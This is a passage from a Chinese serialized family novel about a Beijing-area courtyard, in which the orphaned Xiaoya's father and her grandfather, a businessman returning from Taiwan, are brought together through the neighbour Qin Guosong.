“你见过她吗?” “偷偷的见过。偷偷的跟着她去她的服装店。在服装店里我躲得远远的偷偷的看她,她长得真像她的妈妈……” “没跟她说过话吗?” “只说过一次。就是有一次我去她的服装店。那服装店卖的都是女装。我就拿过一件最贵的裙子。问她,我要给我女儿买,而且我告诉她,我女儿多大了……” 王清文流着泪哽咽的说不下去了。 “后来,后来我就把那裙子买了。现在还放在我住的那间小屋子里。看到那裙子,我就想到了我的女儿……” 王清文伤感的情绪又上来了,由小声的哽咽,抽泣,最后到嚎啕大哭。他捂着脸使劲儿的痛哭着。香烟燃到了他的手指,秦国颂从他手指上把那香烟取了下来。 秦国颂呆呆的看着他。看着这个可怜的身躯在那里抽动。他找不出一句合适的话来安慰。只是在那里默默的看着。 过了好一会儿。王清文才慢慢的平息下来。从衣袋里拿出手帕擦自己的脸。他竟然有些难为情的对秦国颂说。 “好多了,痛痛快快的哭了一场心里好受多了……让,让你笑话了……” 秦国颂问他。“你一直一个人过,没有再结婚吗?” 王清文坚定的点点头,又摇了摇头。 “没有。我没有再结婚……” ………… 秦国颂长叹了一口气。“那,那你今后打算怎么办?” 王清文也长长的叹了一口气。“我哪还有什么今后啊?我就在这个小屋里住着。在这儿,我只要能经常看到我的女儿。我就知足了……” 话还没有说完,他又哭了出来。 秦国颂没头没脑的忽然说了一句。“小雅长得真像你!我一眼就看出来了。” 王清文抬起泪眼,有些痴痴的问秦国颂。“真的?真的像我……” 秦国颂坚定的点了点头。“太像了!” “我第一次在街上碰到小雅的时候,我把她认成了大雅。现在看到了你,认不错了。她就是你!”接着他又认真的对王文清说道。“那天我差一点就告诉她事情的真相。话都说了一半就咽回去了。我想到了大凤。她把小雅养这么大多不容易啊。如果把小雅的真相告诉了她,那不是把大凤一家子都毁了吗?” 王清文连连点头。“是啊,是啊。咱可不能干那事啊!” “还有我去高阳见她姥姥的时候,她姥姥也嘱咐我不要把小雅的身世告诉别人。我一直坚守着。从没有对别人说过。” “他姥姥家你认识?” “认识。我和二凤去过。去过大雅他们老家给小雅姥姥送过信儿。我前几天还答应小雅带她一起去高阳看看她姥姥呢。反正那天我们俩喝酒,我把这事儿给她说了,没说全。她也喝多了,不知道她在意没有。这几天她也没有问过这事儿。” 王清文仍然在痴痴的听着。秦国颂继续说。“我还知道这个大院的房子都是小雅她姥姥她们家的。小雅她姥姥告诉我的。房契全部在她姥姥手里。我还答应小雅跟她一起去高阳把那房契拿来。帮她把这个院子里的房子都要回来。就是不知道她姥姥还健在不健在。也真奇了怪了,小雅就没有再问过我。难道那天她真喝多了,都忘了?” 王清文还在痴痴的看着秦国颂。此时此刻他真不知道说什么好。停顿了片刻。他对秦国松说。 “你这样做,可对不住养育她的妈妈,大凤啊!” 秦国颂深深地点着头。看着王清文,喃喃的自语道。“我要想个法子。亲自去说给凤姐听……” 他对王清文伸出手。“请再给我一支香烟……” 接连几天,秦国颂都没有想出好法子来……他知道他无法对大凤张开这个口。 …… 就在秦国颂无计可施愁眉不展进退两难的时候。这个大院又来了一位不速之客。这是一个年近八旬的老者。这位老者是第二次到来。他的这次到来给小雅的命运带来了转机。也可以这样说,是给这座大院的命运带来了转机…… 这位老者叫王文甫。 第38章 王文甫 王文甫是曹氏家族第一个也是唯一的一个倒插门的女婿。曹氏家族的掌门人曹衡禄膝下无儿。正房没有给他生养,倒是偏房小妾给他生了一个女儿。这个女儿也是曹氏家族唯一的孩子。这个女孩叫曹静稚,曹静稚长大后嫁的丈夫就是王文甫。王文甫与曹静稚两人婚后生了一个女儿。女儿叫王雅丽。49年王文甫去了台湾。9岁的王雅丽改姓为曹,叫曹雅丽。也就是我们所说的大雅。(详情请见本书曹氏家族一章) 说来也怪。从曹静稚开始,这座大院似乎就开启了“倒插门”的模式。大雅似乎沾了一点边,到老检察长张子东搬到这座院子里来以后,竟然形成了一个不成文的规定。因为他们家都是女孩,所以他就要求女孩子们结婚都住在自己的娘家,把男人娶回来。这就叫“倒插门。” 小雅遵循不遵循这个不成文的章程,不得而知。但我们目前知道的是她还没有结婚。也许她会破例,我们拭目以待。 曹静稚于60年代初,迫于压力回到了所谓的高阳老家。这个高阳老家是曹衡禄小妾原籍所在地。这个小妾也就是曹静稚的妈。曹衡禄死后,曹静稚的妈带着分得的一部分财产回到了原籍高阳。这就是曹家高阳老家的来源所在。其实呢,这事儿绕了半天都没有离开娘家。所以说娘家才是真正的家。 从49年到现在近半个世纪,在台湾的王文甫日夜思念家乡。思念失散了的妻儿。他去台湾的那年女儿才9岁。他口袋里装着女儿和妻子的照片,日思夜想,常常一人哀愁感叹。 到台湾后他没有续弦,只是把他个人的精力都投入到工作里。他在部队里是一个文职官员,少将军衔。再加上他长的风流倜傥,潇洒英俊。追求他的女性绝不在少数。他都一一回绝,静静的等待着命运。用他心中的爱情支撑着他的生命。他觉得他能等到那一天…… 这一天他终于等到了。从军界退役后,他进入到了商界。成为了台湾电子制造业的一个领军人物。在台湾经济腾飞成为亚洲四小龙的时候它的产业已遍及东南亚。海峡两岸关系解冻,人们可以互相往来实行三通了。王文甫看到这消息后,第一念头就是回大陆。去找他分别近50年的亲人! 由于归乡心切,第一次踏上大陆时他手头上没有任何资料。只记得妻子与女儿的姓名。最重要的是他记得这座大院。记得这座城市。第一次来到这座城市,来到这座大院的时候,他不是以商人的身份来的。而只是以一个旅游观光者的身份来到这里。当他来到这座大院看到眼前的情景,已是世态变迁,物是人非,他四处打听他要找的人。没有人知道,也没有人认识。他找到了居委会。已经换了几茬的居委会的工作人员均表示无从查找。他来到派出所去查案底。派出所也没有找到他要找的人,时间太长了。好多人的去留都没有留下记录。他唯一得到的一个消息就是20多年前有一个女人在这个大院上吊死了,那女人当时死的时候也就是20多岁。并且告诉他那女人好像不是姓王。姓曹。 王文甫心里暗暗的想。不管是姓王还是姓曹,这事儿能对得上。我还得要继续寻找。 第二次他再来到这座大院。是以一个商人投资的身份来到大陆的。他先找到政府部门。与政府的工作人员洽谈。然后谈及到了自己的家庭私事。交谈时他只是很自然的说是随便的问问。其实他的内心深处就是为这事专程来的。 政府的工作人员非常热情的满口应承。并且答应他想尽一切办法帮他找到亲人。 曹静稚基本上没有留下任何档案资料。去街道上查,因年代久远,也没有任何人知道。唯一找到的信息就是曹雅丽。 于是政府与街道上的工作人员陪同王文甫又来到了这座大院。与现在居住在这座大院的人核实关于曹雅丽的信息。 首选老住户第一家也是唯一的一家,就是老检察长张子东的家。 老检察长张子东热情地接待了王文甫以及一同陪同来的政府工作人员。一阵寒暄之后他知晓了这一行人来院里的目的。他对他们讲要把这个事情弄清楚,可以问我的女儿大凤。因为在这个院子里,大凤与大雅的关系最好。除了她以外,不会再有人知道了。因为大雅不爱结交朋友,平时见到她的机会也很少。所以便把大凤喊了过来。 大凤在屋内正在和秦国颂说话。先说了一会儿黄国英,又说到了安康。然后话题自然说到了小雅。秦国颂想着法子绕着想把小雅的父亲王清文的话题绕进来。三绕两绕又给绕了出去。正在这时大凤妈妈进了屋里。给她讲她父亲叫她,让她去那边一下。 大凤跟着她妈妈来到了她爸爸的屋里。一进门看到一大屋子的人。她爸爸正在跟他年龄相仿的一位老人说话。大凤走到她爸爸跟前。 老检察长张子东笑呵呵地对大凤说。 “嗯,你过来啦。”他指了指身旁坐着的老者。“这位老先生是从台湾来的。跟咱们打听大雅的事情。我觉得这事你比我清楚,就把你叫来了。你跟他说说?” 大凤有些不知所措的看着跟前的这位老者。老者伸出手来与大凤握手。自我介绍道:“鄙人姓王,王文甫。敢问小姐尊姓大名?” 大凤急忙回答。“我叫大凤。都这么叫我。” “哦。凤凰之凤,高枝是也,我这是来攀高枝的呀。”王文甫说完哈哈的大笑说:“开个玩笑。” 逗得一屋子人都笑了。 笑声过后,王文甫对大凤说。“实不相瞒。我这次来有一事相求。”他又看了一眼张子东。“与令嫒打听一人。不知能否得到回晓?” 张子东微微点了点头。 王文甫对大凤继续说道。“我打听的这人姓曹。叫曹静稚,是个女士。今年要是在的话,应当是七十有八了吧。不知你听说过这人没有?” 大凤摇了摇头好似是没听明白。 王文甫继续说。“她有个女儿叫雅丽,家里人都叫她大雅。要说年龄嘛,跟你差不多,我也不知道你多大了。我只是猜着说。” 大凤机灵的浑身哆嗦了一下。瞪大了眼睛看着王文甫,下意识的摇了摇头,又点了点头。她转脸看了看屋里的其他的人。赶紧招呼老先生坐下。随即她坐到了王文甫身边。关切的问道。 “老先生,您说的大雅我认识。我们还是好朋友呢。能不能问您一下,您是她什么人呢?干嘛来问她?” 王文甫看了看大凤,又看了看身旁的老检察长,再慢慢的扫视了一下坐在屋里的众人。深深的叹了一口气。 “如果我没有找错这个人的话。我找的这个雅丽是我的闺女。我那分别了近50年的女儿啊……”老人忽然哽咽了。眼眶湿润,眼里噙着泪花。 在屋里所有的人都惊呆了。当然最为惊呆的是大凤。他看着眼前的这位老人。仔细的端详他的眉眼。那眼睛长的和大雅就如同一个人。像极了。 此刻,摆在大凤面前的第一个难题就是怎么回答眼前的这位老人。告诉他大雅死了,早就死了,而且还是上吊死的……老人千里迢迢的来找他的女儿。把这一噩耗告诉他,他是否能承受得住……还有第二个难题就是小雅……大凤不敢想下去了。 她呆呆的看着老人。半晌才开口。 “老伯伯,大雅……她,20多年前就搬走了。只听说是她回了她老家了。一开始给我写过信。再后来就没音信了……” 王文甫细细的听,慢慢的点了点头。 “她没有说过老家在哪儿吗?你还能找到那些信件吗?” 大凤不忍心的再看老人的脸。她忍着要涌出来的泪水,把脸扭向了一边。 老人看了看大凤。似乎明白了什么。像是安慰自己,又像是安慰大凤。 “不知道你说的那个老家是不是在高阳?我以前好像听她妈妈说过。时间久了,记不住了……” 大凤背对着王文甫。摇了摇头,又点了点头。 屋内的人小声的议论起来。感觉到这事情只能到此为止了。线索没了,人也就不好找了。只说是在高阳,高阳那么大,具体位置在哪里呢?王文甫不知道,他没去过,只是隐约的听过。大凤知道,但大风没去过,具体位置在哪里她也不知道。这事儿也只能是秦国颂和二凤知道了。大凤有大雅老家的地址,20多年前给过二凤和秦国颂,那地址早就不知去向了。 话又说回来,就是她知道,她有地址,此时此刻她能告诉王文甫老先生吗? …… 王文甫看了看众人。小声的喃喃自语。 “丢了的,就看你想不想找。想找的话,无论在与不在,都会找得到…… 第39章 揣着明白装糊涂 小雅喜欢秦国颂?不知道,这咱可不敢乱说。咱只知道二凤喜欢秦国颂,大凤也喜欢,还有黄国英…… 连着几天秦国颂有事没事就去王清文屋里串门。他们两个人已经成了好朋友。你看,又一个喜欢秦国颂的,不过这个喜欢也许是爱屋及乌。真正的目的是醉翁之意不在酒。王清文真正的目的是他的女儿小雅。当然这事儿不得不让咱们这么想,绝不能有以小人之心度君子之腹之举。王清文也来过秦国颂的屋,不是秦国颂邀请他来的,是他主动来的。就是因为他知道秦国颂住的房间是小雅住的。他来这房间就是看看自己女儿住的房子是个什么样。还有这个房间里有他女儿的空气,他可以和女儿一同呼吸。 有一天,秦国颂把王清文的事告诉了小雅。他可没说其他的。他只是说他新认识了一个邻居。两个人很谈得来,经常互相串门。其实呢,小雅比秦国颂提前就注意到这个邻居了。她只不过没明着说过。就是那次王清文跑她店里买裙子让她记住了这个人。起先她还挺纳闷,没见他有女儿啊,还有,他买的那裙子那么贵,并且他还没有还价,小雅当然记得清。在院里碰到过一两次。只不过是匆匆而过,点点头打打招呼而已。小雅总觉得这个人有点怪。每次匆匆碰头见面,似乎都是这个人有准备似的,第六感觉告诉她,这个人好像专门安排的这种机遇,这种碰面,就为了点一下头或者问一声好。他这是要干嘛呀? 只有当秦国颂告诉她那个人是某军部队医院的退休干部时,她才有心无意的额了一声。心里转而想,编都不会编。他怎么不说他是省长呢? 忽然又有一天,小雅想起来一件事情。他问秦国颂:“我说,我应该叫你什么呢?叫你哥吧,有我妈那边呢。叫你叔嘛,看着你又比我大不了多少。”他看秦国颂没有吭声,继续说道。“哎,那谁,跟你说话呢?你怎么不言语啊?哎,对了,我就叫你那谁吧。”说完她哈哈的笑起来了。 “哎,我说。你在我这儿住了快一个星期了吧!你打算住多长时间啊?” 秦国颂看着她,不知道她话里的意思。吭哧了几下没有回答。 “哎,问你呢,你好像跟我说过,我还有个姥姥没在这里。你说的是真的吗?” 秦国颂点了点头。“是真的,我还以为你忘了呢……怎么了?那天喝多了,也许说的不够准……” “嗯。”小雅点了点头。“你还说了好些别的呢。你还说大雅。说她是我妈……还有我姥姥在高阳……我觉得你说的是真的。” 秦国颂点了点头又摇了摇头。“这事儿可不能乱说。更不能乱猜,乱觉得。这可是大事啊。你也别问了。问也没用。人家不想说的事儿,你就是灌辣椒水上老虎凳人家都不说。” “那你不是诚心逗我吗?我又没招你惹你,你逗我干嘛?”小雅故意生气的说道。 “那我还不是想跟你没话找话啊!我们年轻的时候管这个叫拍婆子。” “现在不这么叫了。现在的女孩子们不懂的这叫什么意思?就是陌生男孩勾搭陌生女孩。” “就是搭讪了?” 秦国颂点了点头。 小雅接着问。“你把我拍到了,打算怎么办?” 秦国颂顺其自然的说道。“这不住你这儿了。还让你养着?人家管这叫软饭硬吃。” “啊,原先你是提前设计好的呀!都说你聪明,原来你好坏呀?”小雅故意的撒起娇来。 秦国颂低下头,脸又红了,嘿嘿的笑。 小雅看着他,在他后背打了一巴掌。“呀,你还知道害臊啊?” 秦国颂背着小雅点了点头。“真的,真的挺害羞。我竟然把实话说出来了……” 小雅猛的从他后面抱住了他。秦国颂赶忙分开她的手。连声说道。“快松开手,可不能这样。让你妈看到就麻烦了!” 小雅抱得更紧了。“我才不怕。我还想让我二姨看到呢……” 秦国颂可怕了。分开她的手,转过身子对她说。“你可惹不起你二姨。我们都惹不起她,她太厉害了。” 小雅执拗的又抱住了秦国颂。这一次比上一次抱的更紧。嘴里还捣鼓着。“我就能惹得起她……就能。” 就在这时大凤踏门进来了。小雅紧抱着秦国颂。秦国颂正在试图的挣脱开。大凤的火气一下子就顶到了脑门子上。她使劲儿推搡着小雅。 “你们这是干什么?嗯?”他用手指了指秦国颂。“快去!到老爷子那屋去。去接电话。她二姨打来的。” 秦国颂转身走出屋,去接电话。 大凤目瞪瞪的看着小雅,一时不知道说什么好。一屁股坐在床上叹起气来。 小雅慢慢的挪动到她妈妈的面前。轻声轻气的哄着她妈“我喜欢他……” 大凤抬起脸,看着小雅。嘴角颤动了几下。忽然双手捂住脸哭了起来。 小雅连忙哄着大凤。大凤边哭边抽噎的说道。“你喜欢他……你二姨喜欢他……连我……连你爸,连咱们这个家,没人不喜欢他。可,可是喜欢他什么呢?他好在哪儿呢?他可把咱们害苦呀……” 小雅有些不解的问道。“他,他把咱们都害苦了?” 大凤抬起脸。面无表情的点了点头。像是自言自语。“嗯。喜欢又得不到。又没法子得到。这不就是……害苦了吗?” 小雅认真的看着她妈妈说道。“我发誓,我能得到他。我喜欢他,他是我遇到的第一个贵人。这个贵人可能给不了我什么。但是他会教给我,让我懂得一定会得到什么……当然妈和全家都是我的贵人。但你们跟他不一样。他能给予我的,你们谁都给不了……” 小雅继续说道。“他告诉了我一些事情。一开始我是稀里糊涂的听。因为他也是稀里糊涂的说。没往心里去。后来我一想。他说的也许有些道理……” 大凤呆呆的看着小雅。半晌没说话。她心里想秦国颂到底能给她什么。 从台湾来的商人王文甫来大陆寻亲的事暂无进展。老先生暂时住在了当时在这座城市里最高级的酒店燕赵大酒店。他包了一整套豪华的套间。包期暂定一个月。 几天来他有些应接不暇。参加市里的招商会。接受市领导的接见宴请。谈投资合资招商事宜。 王文甫在酒店注册了一家公司。名义上为合资。注册资金1000万美元。实则这1000万美元的资金都是由王文甫一家公司出的。这笔钱在当时的任何公司看起来都是一笔大巨大的投资。90年代初,人们对商品房的概念还不是很清晰。新修建的豪华路段的沿街门面的售价也就是每平米几百元。 这家公司起名为凤凰雅致实业有限公司。主项,房地产开发。 公司的第一项业务就是由市政府部门出地。公司出钱。共同开发本市最繁华地带老城区的旧城改造。消息一公布,这一举措在本市本省都引起了巨大的轰动。 规划方案一出来。王文甫亲自拟定。他以前居住过的那个院落附近。能保持原貌的修旧复旧。不能保持原貌的按旧貌重新修建。因附近有几座古代建筑,围绕着这几座建筑的房屋均以四合院的形式建制。再向外围拓展修建别墅区,别墅区域外再建高楼层层递进。 接下来的工作就是公司需要各方面的人才。广招贤人,招贤纳士。 公司租下燕赵大酒店的多间套房为公司的办公场所。燕赵大酒店外围空地上竖起了公司的一面巨型的广告牌。霓虹灯,电子大屏,灯光璀璨,光彩夺目。 这个消息一见诸报端。立即吸引了各方面跃跃欲试的人才。安康自然而然的也看到了这则消息。 曾经那个辉煌的无线电厂现在已经远远的跟不上形势的发展了。基本上已经到了濒临倒闭的边缘。随着改革开放的浪潮逐渐的深入,安康在此次期间跳过几次槽,但都没有找到他合适满意的岗位。凭他的聪明,他干过个体。搞过无线电方面的家用小电器的发明创作。其中包括声控光控,无线遥控,他都涉及过。但成效都不是很大。当他得知这家公司要广泛的招贤纳士,决定想借着他对无线电领域方面的知识,前来一试。他并不期望对房地产方面的发展。他通过信息了解到王文甫的这个公司母公司是电子领域的翘楚,在东南亚名望很高。他想通过招聘进入到王文甫的电子领域的公司任职。他决定前来应聘。 安康追求过二凤,求之不得。由于二凤升迁频繁,他能接触到二凤的时间极短。只能无可奈何的放弃。期间为了追求二凤,他也施展过一些拳脚。甚至还用了不光彩的手段来采压秦国颂。这些他均未能达到目的。只得怏怏作罢,收兵回营,另谋他路。他结了婚,然而生活却快没有了着落,面临着下海下岗的选择。 秦国颂也看到了这一消息。是小雅拿来的报纸给他看,并问他想不想去试一下?大凤觉得他应当去试一试。并且还给他暗示,这个公司的董事长她认识。不但认识,董事长还亲自来她家与她见过面。当然见面不是为了招工的事情。而是另有缘故。 秦国颂也没有问什么缘故,只是觉得这事情凭的是自己的真本事。玩其他的没用。他也决定一试。 秦国颂去面试的那天。小雅陪着他一起去的。面试人员看了他的简历以后什么也没说,让他稍等片刻。过了一会儿进来一位女职员,自称是董事长的秘书,叫他和他一起来的小雅一起去董事长的办公室。 秦国颂和小雅一起来到了董事长的办公室。 秦国颂心想。这该不会是大凤使了什么手段?大凤不是给他讲过董事长王文甫去过他们家吗?不然的话他一个来应聘的怎么可能会得到董事长的亲自接见呢? 董事长王文甫和蔼可亲,让秦国颂和小雅坐下。并让秘书给他们倒了咖啡。 王文甫先和秦国颂聊了点别的。 “看你简历上写着。你在60年代末就研究过电视机。并且你们那个厂子还拉制过单晶硅。现在那个厂子还有生产吗?” 秦国颂送回答。“我也不太清楚,应该还有。好像厂子很不景气。” 王文甫又问道。“你了解芯片吗?” 秦国颂说。“理论上了解。没有进行过实际方面上的操作。不就是集成电路块吗?现在已经在家用电器方面很普及了。” 王文甫说。“再高级一点的芯片,比如说纳米技术的,比较高科技领域的,你有过了解吗?” 秦国颂回答。“依然只是在理论上了解过。实际没有接触过。” 王文甫点了点头。接着他把话题一转。“简历上你写的是你居住在曹家大院里。嗯,我这是对这个大院指的旧称。现在还在那个大院住吗?” 秦国颂点了点头。指了指一旁坐着的小雅。“我们俩都在那个院住。” “哦。”王文甫注意的看了一眼小雅,竟然若有所思的沉思起来。过了片刻,他问小雅。“这位小姐尊姓大名?” 小雅赶紧站起来回答:“我姓黄,叫黄雅清。” 王文甫点了点头,示意小雅坐下。 王文甫又问秦国颂。“你在那个院子里住了多少年?啊,我没别的意思。直说假如公司要把那个院子拆除掉,你不觉得可惜吗?” 秦国颂没有弄清什么意思。张嘴说道。“那院子挺好的。不过拆了也就拆了吧。因为那院子有些不吉利。” “嗯?你说说看。” “首先那院子里有两棵大槐树。其次那院子南房后面有一排桑树。院子里种这些树大多是不吉利的特征。” “哦,看来你还懂些风水。你详细讲一讲它的不吉利在哪里?” 秦国颂顿了顿,整理了一下思绪。“住在那个院子里的人,有过非正常的表现。当然这也许不是必然的,是偶然的。但是几件事情都发生在这个院子里,好像就有它的必然性。这个院子里出现过几个怪事。第一件怪事就是这个院子里好多年前经常有裸体女人出现。不止一次,好像还不是一个人,也许就是一个人。第二件怪事就是住在这个院子里最靠院门口的那间南房,就是后来又改成前后两间房的那个南房有过几家住户。有两家住户的女人忽然之间就掉光了头发。我只知道最早住在那一间屋子里的一个女人还上吊死了,就在那个屋子里……” “哦?”王文甫打断了秦国颂的叙述。“这是你听人说的还是你亲眼看到的?” “裸体女人和上吊死的女人我都看到过。我都认识。那个上吊死的女人还是我把她从门框上弄下来的。” “能说一下那位上吊死的女人的名字吗?” “叫曹雅丽。院里的人都叫她大雅。” 王文甫的脸抽搐了一下。他拿起桌上的烟,抽出一支叼在嘴上,慢慢的点燃。 他缓缓的吐出一缕烟雾,似乎是吐出一串长长的思绪。 “那个死去的女人还有别的亲人吗?” 秦国颂点了点头。“有。我认识。” ………… 第40章 重逢 董事长王文甫看了看秦国颂。又打量了一下屋里其他的人,对秦国颂说。 “嗯。方便透露吗?” 秦国颂迟疑的看了一下看屋里的人。没有马上回答。 “是这样的。我们是想了解更多的一些情况,因为那座大院是我们作为开发项目中比较重要的环节。多掌握些情况,有利于我们的工作。”王文甫解释道。 秦国颂说。“这个,对你们很重要吗?因为,涉及到别人,我怕说多了不好。我做事情的原则一般的是就事论事,不论人。刚跟你说的那个叫大雅的20多年前就不在世了,给你说说我觉得可能还没什么。但是再往下说,那些人都还在的。再说我是来应聘的,只喜欢说对工作有关系的事情。” 王文甫露出了赞许的表情。“嗯,好好。很欣赏你的诚恳态度,也尊重你的态度。你这样吧,根据你对业务的一些表述我都让他们记下了。下来让他们研究一下,你等消息吧,好吧。” 秦国颂答应着站了起来的。小雅也跟着站起来,王文甫对着小雅问了一句。 “你也是来应聘的吗?投了简历了吗?” 小雅摇了摇头。连忙说道。“我不是。我是陪他来的。”她看了看秦国颂。 “哦,那就这样吧。你们可以告退了。很高兴见到你们,再见。”王文甫站起来说道。 秦国颂快步走过去,隔着王文甫的办公桌同他握了握手。然后和小雅一同走出了房间。 他们走出门后。王文甫对身边的秘书说。“这个秦国颂,我要单独见他一面。给他住的地方发一个函。派人送过去,让他明天到我这里来。” 秦国颂和小雅走出燕赵大酒店。两个人在回家的路上说着话。 小雅说。“唉,我说,你觉不觉得这事情有些蹊跷。你来招聘竟然得到了董事长的接见。这事儿正常吗?” 秦国颂说。“要说正常也正常,要说不正常呢也不正常。我觉得这个董事长王文甫对这个大院一定是有什么关系牵扯着。大凤不是说过他们一行人还来到咱们大院打听人打听事儿吗?大凤也没给我说他们究竟问的什么事儿?但是啊,我觉得这事儿搞不好和你有关系了。” 小雅略作肯定的点了点头。“我发现我妈妈这几天就有些不正常。我想这事儿除了我,还有什么事情能让我妈妈那样……”她停顿了一下,继续说道。“那样神不守舍呢……” 秦国颂欲言又止。把他想说的话又咽了回去。他说道。“这事儿啊,先别对你妈妈说。省得让她瞎想。我觉得这事没有完,他,他们一定还会来找我……等我弄清了什么事情,我告诉你。” 小雅信任的看着秦国颂,点了点头。 第二天上午,小雅去了她的服装店打理业务。王清文过来找秦国颂。对秦国颂讲,他要请秦国颂吃顿饭。两个人正说着话,来了一个年轻的小伙子找秦国颂,递给他一封短信。信上写着要他去公司一趟。董事长王文甫有请。 秦国颂送走了王清文。跟着那个小伙子来到了公司。 董事长王文甫见到了秦国颂。开门见山的对他讲。来公司面试应聘的人很多,录取事项由部门经理们开会研究,要等招聘应试完后才可以。这次找他来就是问他一件个人的私事。希望秦国颂给予帮助。 秦国颂点头答应了。 王文甫:“上次你来有一句话说了一半没有说完。你说过上吊死的那个叫大雅的还有亲人在人世间。希望你能给我说说这个事情。当然了,你也可以不讲,我尊重你。但是呢,我有一句话要跟你讲一下。如果我没有搞错的话,那个叫大雅的妈妈应当叫曹静稚……” 秦国颂瞪大了眼,张大了嘴。“你,你知道?” 王文甫点了点头。“如果再没有错的话。我,就是你说的那个叫大雅的父亲……” 秦国颂险些没晕过去。他神情有些恍惚的看着王文甫,伸出手来对王文甫说。 “请您,请您给我一支烟好吗……” 王文甫拿过烟递给他,并亲自给他点着。 秦国颂吸了几口烟,缓了缓神。 “你,你是大雅的……” 王文甫点了点头。“如果她妈妈叫曹静稚,那我就是她的父亲。大雅叫王雅丽。她9岁那年我离开的大陆。” 秦国颂点了点头。“那,那我就必须得要告诉你……” “大雅她妈妈在高阳。她们家我去过。是跟着也是在那个大院的二凤我们两个人一起去的。那年,就是大雅死的那年,我们去高阳送信儿的。她妈妈听说了以后,什么都没说……当我们走的时候就给我们说了一句话。她说小雅有好心人收留着就是了,以后不要告诉小雅这些事情……不要让收留她的人伤心……” 他吸了口烟继续说道。“小雅就是大雅生下的女儿,那时候刚刚几个月大,哎?就是那天跟我来的那个……” 王文甫静静的听着。点着头。 秦国颂继续说道。“这事儿我偷偷的给小雅说过。没敢说全,只给她说过高阳,她还有一个姥姥。并且答应过让她跟着我一起去高阳找她的姥姥。她姥姥健在不健在,我就不知道了。嗯,还有呢,还有一件事。前一阵我们院里搬来了一个新的住户。一个在部队医院退了休的男人。他来我们这个院住。我们俩见面了,说起话来。你猜?你猜他是谁?他竟然是小雅的父亲!” 王文甫手里拿着香烟定格在那里。他听着秦国颂的叙述。外表沉静的他内心掀起一阵又一阵的波澜。 秦国颂咽了咽口水。看着坐在对面的老者。他不敢再说下去了,小声的自言自语道。 “我,我是不是说的太多了?” 王文甫对他摆了摆手。微微的笑了一下。“你说吧,我还想听呢。” 秦国颂说。“没了,就这些。” “嗯,你说的那个叫王,就是小雅的父亲……” “叫王清文。”秦国颂赶紧说道。 “嗯,嗯,王清文。小雅知道这事吗?” “没有。我没敢跟小雅说。我怕把这些都说了小雅都知道了。她,她妈妈接受不了。她妈妈就是那个大凤。” “嗯。你真行。做得很棒!这样的事情对于一个抚养她20多年的女人来讲,这可是天大的事情啊!” “但是我觉她妈妈也感觉到了什么。就是那次你们一行人去我们院走了以后。她妈妈就有些变化。好像觉察到了什么……而且还对我说过,关于小雅的事不要给她说太多。但,但是我觉得这事儿有可能瞒不住了,迟早要揭开了的。” 王文甫点了点头,长长的吁了一口气。 “这些事情千万不要急着给她妈妈透露。待时机成熟了,再慢慢的告诉她也不迟。你做的很对,我要表扬你,了不起呀!好人终会有好报的。” 王文甫停顿了一下,继续说道。“这几天你空闲吗?我是这么决定的。你跟着我,咱们去一趟高阳找小雅她姥姥去。跟谁都别说。嗯,这样吧。下午咱们就动身。高阳离咱们这里也不远。路要好走的话,一个多小时也就到了。” 秦国颂说道。“能带王清文去吗?” “好,带上他!你不说我差一点忘了。必须要带上他。我也很渴望见他呢!” 王文甫按了一下桌上的门铃。秘书推门而进。 “陈秘书。你准备一下下午跟我一起办一件事情。通知一下小车组准备一辆商务车。嗯,两辆吧。还有你安排一下要去找个人,去他们那个院,就是咱们上次去过的那个院子。找一个叫王清文的人,赶快到我这儿来。快去办吧。” 秦国颂站起身来说道。“我跟着一起去吧。我知道怎么跟王清文说。” “好吧,你去吧。带着他中午饭咱们在公司吃。吃完饭咱们就启程。” 秦国颂带着公司的人来到大院找王清文。一行人正急匆匆地往外走时。在大院门口碰到了回来取东西的小雅。小雅惊讶的看着他们,问秦国颂,“你们这是要去哪儿?” 秦国颂急急忙忙的回答。“有急事儿,回来跟你说。”说完后,他冲着小雅诡异的一笑。“好事儿!” 小雅有些怀疑的看着他们。 “我也跟着去……” 秦国颂急忙说道。“你去干嘛,没你的事儿。我的事。放心吧,你快去忙你的吧,我们一会儿就回来。” 小雅迟疑的看着他们匆匆的上了大院门口停着的那辆本田商务汽车。 第41章 重逢(续) 秦国颂回大院儿找到了王清文。王清文看到随行的还有两个人跟着。只见秦国颂走到他跟前,小声的对他说了一句。 “你那事儿有希望了。快跟我走吧,带你去见一个人。” 王清文迷迷糊糊的跟着秦国颂走。满脸疑惑的问秦国颂:“你这葫芦里到底卖的什么药啊?带我去哪儿啊。” 秦国颂说。“先别问了,到了你就知道了。” 正在这时,在大门口碰到了回来取东西的小雅。他们和小雅匆匆的告别后,上了那一辆停在大院门口的本田商务车。 在车里王清文挨着秦国颂坐着。秦国颂只是在那儿独自傻笑,也不与王清文说话。王清文满脸狐疑的看着秦国颂。当着车里的另外两个外人,他也无法再说什么。只是心里在想,这个秦国颂不知又在变什么大招? 车子开到了燕赵大酒店。下了车他们急匆匆的走向董事长王文甫的办公室。 王文甫在办公室里踱着步,有些焦急的等待着秦国颂他们的到来。就在这时有人敲门,他加快了脚步走到门前。门开了,秘书带着秦国颂与王清文走了进来。王文甫一把抱住王清文,激动的看着他,嘴里喃喃自语。 “你好呀……你,这么多年受委屈了……” 王清文更是迷惑的看着王文甫,他不认识这位老者是谁,他不明白这究竟是哪跟哪。下意识的连连点头。 “你好,你好老先生。你身子硬朗啊?” 王文甫点着头,嘴角微微颤动,眼睛里噙着泪花。“很好,很好,我身子很硬朗的呢。” 屋里的人都被这有些莫名其妙的见面莫名其妙的言语愣在了那里。还是陈秘书反应快,她走到两人跟前,对王文甫说。 “董事长,看您,你们这什么关系都没介绍呢?光顾着高兴了。” 王文甫看了看陈秘书,又看了看王清文。心花怒放的说道。“小陈哪,你不知道?他可不是外人呢。他是我的……”他拉过了秦国颂,“来来来,你给他们说。你最清楚。” 秦国颂的脸腾的一下又红了。他竟然紧张的张了张嘴,有些结结巴巴说不出话来。他忽然觉得他好像在这个屋子里飘着。有些恍恍惚惚的无法确定这空间的真实。他看看王文甫,又看看王清文,他竟然觉得自己有些害羞。紧张的他觉得自己好像成了另外一个人,觉得自己好像变成了一个姑娘。是二凤?是小雅?他摇了摇头。他忽然觉得他变成了一丝未挂的大凤。是的,他记起来了。他在晚上看到过一丝未挂的大凤去过他的屋里。那绝不是大雅…… 他严肃而一本正经的对王文甫说道。 “不是大雅。那个人不是大雅。是……” 